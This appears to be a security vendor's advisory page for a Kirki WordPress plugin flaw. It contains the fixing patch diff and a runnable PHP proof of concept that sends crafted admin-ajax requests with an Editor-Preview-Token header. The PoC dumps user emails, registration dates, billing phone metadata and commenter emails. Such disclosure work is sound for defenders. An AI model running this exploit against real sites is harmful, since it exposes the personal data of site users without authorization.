+		return current_user_can('read_post', $post->ID);
+	}
+

 	/**
 	 * Check if the Editor-Preview-Token header is valid
@@ -4339,7 +4363,6 @@
    "defaults":[
       "md",
       "tablet",
-      "mobileLandscape",
       "mobile"
    ],
    "list":{
@@ -4353,29 +4376,20 @@
          "activeIcon":"desktop-hover"
       },
       "tablet":{
-         "value":991,
+         "value":1199,
          "scale":1,
-         "minWidth":991,
-         "maxWidth":991,
+         "minWidth":1199,
+         "maxWidth":1199,
          "title":"Tablet",
          "icon":"tablet-default",
          "activeIcon":"tablet-hover"
       },
-      "mobileLandscape":{
+      "mobile":{
          "value":767,
          "scale":1,
          "minWidth":767,
          "maxWidth":767,
-         "title":"Landscape",
-         "icon":"phone-hr-default",
-         "activeIcon":"phone-hr-hover"
-      },
-      "mobile":{
-         "value":575,
-         "scale":1,
-         "minWidth":575,
-         "maxWidth":575,
-         "title":"Mobile",
+         "title":"Phone",
          "icon":"phone-vr-default",
          "activeIcon":"phone-vr-hover"
       }
@@ -4569,10 +4583,12 @@
 	 *
 	 * @param string $type stymbol type header|footer.
 	 * @param string $html if true the function will return html otherwise return symbol object.
+	 * @param string $query_mode responsive query mode, media|container.
 	 * @return string|object custom section html or stymbol object.
 	 */
-	public static function get_page_custom_section($type, $html = true)
+	public static function get_page_custom_section($type, $html = true, $query_mode = 'media')
 	{
+		$query_mode = $query_mode === 'container' ? 'container' : 'media';
 		$show = apply_filters('kirki_show_custom_section_' . $type, true);
 		if (!$show) {
 			return '';
@@ -4584,8 +4600,9 @@
 			return $symbol;
 		}

-		if (isset(self::$custom_sections[$type])) {
-			return self::$custom_sections[$type];
+		$section_cache_key = $type . ':' . $query_mode;
+		if (isset(self::$custom_sections[$section_cache_key])) {
+			return self::$custom_sections[$section_cache_key];
 		}

 		$s = self::isShowWPThemeHeaderFooter() ? '' : ' '; // this is for disableing theme header footer forcefully if is_show_wp_theme_header_footer is false
@@ -4617,7 +4634,7 @@
 				'style_blocks' => $symbol_data['styleBlocks'],
 				'root' => $symbol_data['root'],
 				'post_id' => $symbol['id'],
-				'options' => [],
+				'options' => array('query_mode' => $query_mode),
 				'get_style' => true,
 				'get_variable' => false,
 				'should_take_app_script' => false,
@@ -4639,7 +4656,7 @@

 		$s = do_shortcode($s);

-		self::$custom_sections[$type] = $s;
+		self::$custom_sections[$section_cache_key] = $s;

 		return $s;
 	}
--- a/kirki/kirki.php
+++ b/kirki/kirki.php
@@ -7,7 +7,7 @@
  * Plugin Name: Kirki
  * Plugin URI: https://kirki.com
  * Description: Kirki is an all-in-one no-code builder that empowers users to build professional-grade WordPress sites without writing any code. It’s a promising glimpse into the future of website development.
- * Version: 6.4.1
+ * Version: 6.4.2
  * Author: Kirki
  * Author URI: https://kirki.com
  * License: GPLv2 or later
@@ -26,7 +26,7 @@

 // Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.4.1' );
+	define( 'KIRKI_VERSION', '6.4.2' );
 }

 require_once plugin_dir_path( __FILE__ ) . 'config.php';
--- a/kirki/libraries/framework/Discovery/ListenerDiscovery.php
+++ b/kirki/libraries/framework/Discovery/ListenerDiscovery.php
@@ -186,11 +186,11 @@
      */
     public function cache(?string $path = null)
     {
-        // $path = $path ?? config_path('listeners.cache.php');
-        // if (!$this->is_cacheable($path)) {
-        //     return $this;
-        // }
-        // File::put($path, "<?php rnrn/** Auto generated by discovering the listeners. Don't edit this file manually." . " */rnrnreturn " . var_export($this->listeners(), true) . ';');
+        $path = $path ?? config_path('listeners.cache.php');
+        if (!$this->is_cacheable($path)) {
+            return $this;
+        }
+        File::put($path, "<?php rnrn/** Auto generated by discovering the listeners. Don't edit this file manually." . " */rnrnreturn " . var_export($this->listeners(), true) . ';');
         return $this;
     }
     /**
--- a/kirki/libraries/framework/Discovery/PolicyDiscovery.php
+++ b/kirki/libraries/framework/Discovery/PolicyDiscovery.php
@@ -173,11 +173,11 @@
      */
     public function cache(?string $path = null)
     {
-        // $path = $path ?? config_path('policies.cache.php');
-        // if (!$this->is_cacheable($path)) {
-        //     return $this;
-        // }
-        // File::put($path, "<?php rnrn/** Auto generated by discovering the policies. Don't edit this file manually." . " */rnrnreturn " . var_export($this->policies(), true) . ';');
+        $path = $path ?? config_path('policies.cache.php');
+        if (!$this->is_cacheable($path)) {
+            return $this;
+        }
+        File::put($path, "<?php rnrn/** Auto generated by discovering the policies. Don't edit this file manually." . " */rnrnreturn " . var_export($this->policies(), true) . ';');
         return $this;
     }
     /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119631 - Kirki <= 6.4.1 - Missing Authorization to Unauthenticated Sensitive User Data Exposure via Editor-Preview-Token on AJAX 'get-dynamic-content-batch' / 'get-collection-batch'
//
// Usage: php poc.php <target_url> <preview_token>
// Example: php poc.php https://example.com abc123token

$target_url   = $argv[1] ?? 'http://localhost:8080';
$preview_token = $argv[2] ?? 'READONLY_PREVIEW_TOKEN';

function kirki_ajax($target, $token, array $body) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, rtrim($target, '/') . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($body));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    // The vulnerable check is EditorPreview::has_valid_token(), which reads this header.
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Editor-Preview-Token: ' . $token,
        'Content-Type: application/x-www-form-urlencoded',
        'User-Agent: AtomicEdge-PoC/1.0',
    ));
    $resp = curl_exec($ch);
    if ($resp === false) {
        fwrite(STDERR, "curl error: " . curl_error($ch) . PHP_EOL);
        curl_close($ch);
        return null;
    }
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('code' => $code, 'body' => $resp);
}

// Step 1: Fetch the full user table through the unauthenticated batch endpoint.
// The vulnerable resolver never calls list_users or can_user_read_post().
$user_payload = array(
    'action'   => 'kirki_post_apis',
    'endpoint' => 'get-collection-batch',
    'payload'  => json_encode(array(
        'collectionType' => 'users',
        'itemPerPage'    => 100,
        'page'           => 1,
    )),
);

echo "[*] Requesting user collection via get-collection-batch" . PHP_EOL;
$r1 = kirki_ajax($target_url, $preview_token, $user_payload);
if ($r1) {
    echo "[HTTP {$r1['code']}] users response:" . PHP_EOL . $r1['body'] . PHP_EOL . PHP_EOL;
}

// Step 2: Pull per-user fields by hitting the dynamic-content batch endpoint.
// content_info.type=user with arbitrary id returns user_email, first_name,
// last_name, nickname, registered_date and string user_meta (billing_phone etc.).
$dynamic_payload = array(
    'action'   => 'kirki_post_apis',
    'endpoint' => 'get-dynamic-content-batch',
    'payload'  => json_encode(array(
        'requests' => array(
            array(
                'fieldId'      => 'cve-demo-1',
                'content_info' => array('type' => 'user', 'id' => 1),
                'content_value' => 'user_email',
            ),
            array(
                'fieldId'      => 'cve-demo-2',
                'content_info' => array('type' => 'user', 'id' => 1),
                'content_value' => 'registered_date',
            ),
            array(
                'fieldId'      => 'cve-demo-3',
                'content_info' => array('type' => 'user', 'id' => 1),
                'content_value' => 'meta',
                'meta'         => 'billing_phone',
            ),
        ),
    )),
);

echo "[*] Requesting user dynamic content via get-dynamic-content-batch" . PHP_EOL;
$r2 = kirki_ajax($target_url, $preview_token, $dynamic_payload);
if ($r2) {
    echo "[HTTP {$r2['code']}] dynamic-content response:" . PHP_EOL . $r2['body'] . PHP_EOL . PHP_EOL;
}

// Step 3: Enumerate commenter emails via the comments collection.
$comment_payload = array(
    'action'   => 'kirki_post_apis',
    'endpoint' => 'get-collection-batch',
    'payload'  => json_encode(array(
        'collectionType' => 'comments',
        'itemPerPage'    => 100,
        'page'           => 1,
    )),
);

echo "[*] Requesting comments collection (comment_author_email)" . PHP_EOL;
$r3 = kirki_ajax($target_url, $preview_token, $comment_payload);
if ($r3) {
    echo "[HTTP {$r3['code']}] comments response:" . PHP_EOL . $r3['body'] . PHP_EOL;
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.